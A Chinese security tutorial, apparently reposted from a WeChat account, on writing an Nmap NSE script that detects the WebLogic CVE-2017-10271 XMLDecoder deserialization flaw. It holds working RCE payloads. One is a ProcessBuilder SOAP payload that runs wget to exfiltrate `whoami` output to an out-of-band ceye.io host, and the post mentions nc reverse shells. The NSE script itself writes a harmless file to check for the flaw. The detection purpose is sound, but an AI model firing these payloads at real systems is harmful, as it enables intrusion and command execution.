专栏首页漏斗社区工具| NSE漏洞审计和渗透脚本的demo

工具| NSE漏洞审计和渗透脚本的demo

nmap为我们提供了较为精准的端口和服务探测的功能,如果我们在探测到某些端口或者服务的同时顺带检测下是否含有曾经爆出的漏洞呢?本期将以Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞为例子,为大家介绍如何用NSE来编写渗透脚本。

0x01 http 库的介绍

由于本次Weblogic 反序列化漏洞这个例子是以HTTP请求的方式来发送POC和相关请求,所以需要先掌握http库的使用。

1. 实现一个HTTP中的get方法

local http = require "http"

local req = http.get(host, port, path, options)

http库的get方法可以发起一个请求,请求将请求结果以一个table的形式返回。 参数说明:

  • host : 要请求的主机
  • port : 要请求的主机的端口
  • path :要请求的路径
  • options :一个table的格式,可以定义socket超时时间、HTTP 的请求头部字段或者其他的参数

2. 实现一个HTTP中的post方法

local http = require "http"

local req = http.post(host, port, path, options, ignored, postdata)

post方法支持的参数有6个,相同的4个和get方式一样。 不同与GET的参数说明:

  • ignored : 忽略向下兼容。此参数斗哥也不太理解,一般置为nil
  • postdata :POST数据,可以是字符串或者是一个table。默认会以application/x-www-form-encoded编码方式提交,如果不想使用此方法,需要改写generic_request这个方法。

3. 获取返回内容

  • req.status : HTTP返回包的状态码
  • req.header / req.rawheader:整个返回包头部
  • req.body : HTTP报回报的正文

4. 关于脚本调试

使用nmap-d参数 这个后面可以跟1-9的数字,数字越大调试信息越详细,一般-d3足以查看到详细的http报文了。

使用wireshark 利用wireshark本身的报文过滤能力,筛选出我们想要的HTTP请求包。 如筛选命令:http.request.method=="POST" and ip.dst==192.168.1.1 就可以筛选出发往192.168.1.1的POST请求了。

0x02 漏洞环境搭建

环境使用的是phith0n牛的docker开源靶场:https://github.com/vulhub,使用docker搭建漏洞环境会比较高效。

0x03 漏洞POC

因为该漏洞是属于代码执行漏洞,根据这个漏洞可以文件写马或者执行系统命令。

文件写马POC 利用的java的io包下的PrintWriter类:<object class="java.io.PrintWriter">

该POC的路径不能出错,漏洞环境需要有写的权限。作为POC我们不必写真正的JSP马,写入无害数据到一个文件,然后判断文件是否有数据即可。

命令执行,反弹shell或者是利用服务监控的方式 由于该代码执行执行系统命令并没有回显结果。所以斗哥掌握的方法一种是执行nc命令反弹一个shell回来,另外一种是通过服务监控的方式,而服务监控的方式更使用与nmap的脚本编写。

利用的java的lang包下的ProcessBuilder类:<object class="java.lang.ProcessBuilder">

利用CEYE,本次漏洞我们可以监控的服务有nslookup、curl、wget、ping等。

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
                    <soapenv:Header> 
                        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
                        <java version="1.8.0_131" class="java.beans.XMLDecoder"> 
                            <object class="java.lang.ProcessBuilder"> 
                            <array class="java.lang.String" length="2"> 
                                <void index="0"> 
                                <string>wget</string> 
                                </void>  
                                <void index="1"> 
                                <string>`whoami`test111.xxx.ceye.io</string> 
                                </void>  
                            </array>  
                            <void method="start"/> 
                            </object> 
                        </java> 
                        </work:WorkContext> 
                    </soapenv:Header>  
                    <soapenv:Body/> 
                </soapenv:Envelope>

0x04 NSE脚本

脚本的POC使用的是通过写入无害数据到文件,检测文件是否存在的方式。如果要使用监控服务的方式,只需更换POC即可。

nmap命令:nmap -Pn -p7001 --script weblogic_cve2017_10271 192.168.1.0/24

local http = require "http"
local shortport = require "shortport"
local string = require "string"

description = [[检测Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271)]]
author = "reborn"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default","safe","discovery","version"}

portrule = function(host,port)
    return port.protocol == "tcp" and port.state == "open"
end

action = function(host, port)

    print("port.numner is : ",port.number)
    print("port status is : ",port.state)
    local basepath = "/wls-wsat/CoordinatorPortType"

    math.randomseed(tostring(os.time()):reverse():sub(1, 7)) --设置时间种子
    local randomnum = math.random(1000000,9999999)  -- 生成一个随机数,POC需要具有随机性

    local randomurl = '/wls-wsat/' .. tostring(randomnum) .. '.txt'

    print(randomurl)

    local postdata='<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/' .. tostring(randomnum) .. '.txt</string><void method="println"><string>xmldecodetest</string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>'

    local options={ header = {    -- HTTP头部的编写格式
    ["Accept-Encoding"]="en",
    ["Accept"]="*/*",
    ["User-Agent"] = "Mozilla/5.0",
    ["Content-Length"]=638,
    ["Content-Type"]="text/xml",
    ["Expect"]="100-continue",
    ["Connection"]="Keep-Alive"
    } }

    local req = http.get(host,port,basepath,{ no_cache = true})  -- 检测是否存在/wls-wsat/CoordinatorPortType路径的请求
    local reqw= http.post(host,port,basepath,options,nil,postdata)  -- 发送POC的请求 
    local reqr= http.get(host,port,randomurl,{ no_cache = true}) -- 检测POC是否成功写入文件的请求

    if string.find(reqr.body,'xmldecodetest') ~= nil  -- 如果写入的文件有xmldecodetest字段,说明漏洞存在
    then
        return "Vuln Detect CVE-2017-10271 ,Weblogic < 10.3.6 'wls-wsat' XMLDecoder"
    end

    if string.find(req.body,'CoordinatorPortType') ~= nil  -- 如果存在/wls-wsat/CoordinatorPortType路径,说明可能存在风险
    then
        return "Vuln Warning .. Detect PATH: /wls-wsat/CoordinatorPortType ,Mabey CVE-2017-10271 ,Weblogic < 10.3.6 'wls-wsat' XMLDecoder"
    end
end

本文分享自微信公众号 - 漏斗社区(newdooneSec),作者:reborn

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-03-16

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 工具| 手把手教你制作信息收集器之网站备案号

    本期任务: 1.掌握备案号的收集 。 2.练习从http返回包中获取信息的能力。 3.所需工具: pip,http请求库:requests库,匹配库:r...

    漏斗社区
  • CTF必备技能之编码大全

    编码根据百度百科的解释:指的是信息从一个形式或格式传换为另一种形式的过程,也称为计算机编程语言的代码简称编码。从我们的祖先仓颉造字再到0-9的阿拉伯数字的广泛使...

    漏斗社区
  • 斗哥说|phpcms_v9.6.0 任意文件上传漏洞复现!

    前言 在开启严肃认真的知识分享前,斗哥跟大家说一件严肃的事儿!本周日是一年一度的母亲节!无论你身处他乡还是奔波忙碌,别忘了给亲爱的母上大人送上节日的祝福,家永远...

    漏斗社区
  • Android四大组件安全问题

    我的博客即将搬运同步至腾讯云+社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invi...

    续写经典
  • A2第8节枚举类型

    A2第8节枚举类型第二章第8节 1、有一些数据是开放性范围的,比如int、float、String。有些数据可选值是有限取值范围的,比如星座、月份名、方向,如...

    静心物语313
  • 真实项目案例实战——【状态设计模式】使用场景 顶

    须臾之余
  • 原创 | codeforces 1424J,为了过这题,我把祖传的C++都用上了!

    大家好,我们选择的是Bubble Cup比赛Div2场次的J题,不用问我Bubble Cup是什么比赛,我也不清楚。总之是一场算法比赛就是了。可能是这个比赛知名...

    TechFlow-承志
  • NDK--文件的拆分和合并

    aruba
  • CVPR2020最佳检测 | 带有注意力RPN和多关系检测器的小样本目标检测网络

    传统的目标检测方法通常需要大量的训练数据,并且准备这样高质量的训练数据是劳动密集型的(工作)。在本文中,我们提出了少量样本的目标检测网络,目的是检测只有几个训练...

    计算机视觉研究院
  • Linux服务器数据恢复-服务器修复无法启动错误过程

    介绍数据恢复案例前照例先介绍故障服务器的物理状况。本次数据恢复的服务器是linux操作系统,某品牌730系列服务器,MD3200系列存储。导致数据丢失的原因是机...

    北亚数据恢复中心

扫码关注云+社区

领取腾讯云代金券